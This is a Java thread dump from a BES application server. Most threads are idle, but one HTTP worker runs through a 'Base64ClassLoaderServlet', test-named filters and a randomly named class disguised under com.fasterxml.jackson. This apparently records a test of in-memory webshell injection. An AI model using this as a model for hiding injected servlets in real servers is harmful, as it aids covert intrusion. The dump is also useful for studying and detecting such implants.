||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@6d5ef7ef
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-8" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-8080" #78 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2146c838
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:268)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:233)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:224)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||||
|
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||||
|
at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:434)
|
||||||
|
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:565)
|
||||||
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_6" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_7" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #81 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0f0d88
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-5" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.3" #97 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_5" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RetryTimer" #52 daemon [WAITING] on java.util.TaskQueue@73084ccb
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-3" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #92 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_0" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64185d9a
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:68)
|
||||||
|
|
||||||
|
"Spark_1" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d08010
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #80 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_4" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-2" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25b4ba8f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"SelectorReaderThread-8080-1" #76 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #60 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"LifecycleThread[com.bes.appserv]-1" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@146bd4e6
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@32b9af7c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-0" #14 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #70 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
|
at com.fasterxml.jackson.EwGWk.ErrorKnbprHandler.toString(BasicInfoPrinter.java:26)
|
||||||
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
|
||||||
|
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92)
|
||||||
|
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
|
||||||
|
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
|
||||||
|
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136)
|
||||||
|
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77)
|
||||||
|
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83)
|
||||||
|
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349)
|
||||||
|
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:662)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:807)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1688)
|
||||||
|
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-1900" #75 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
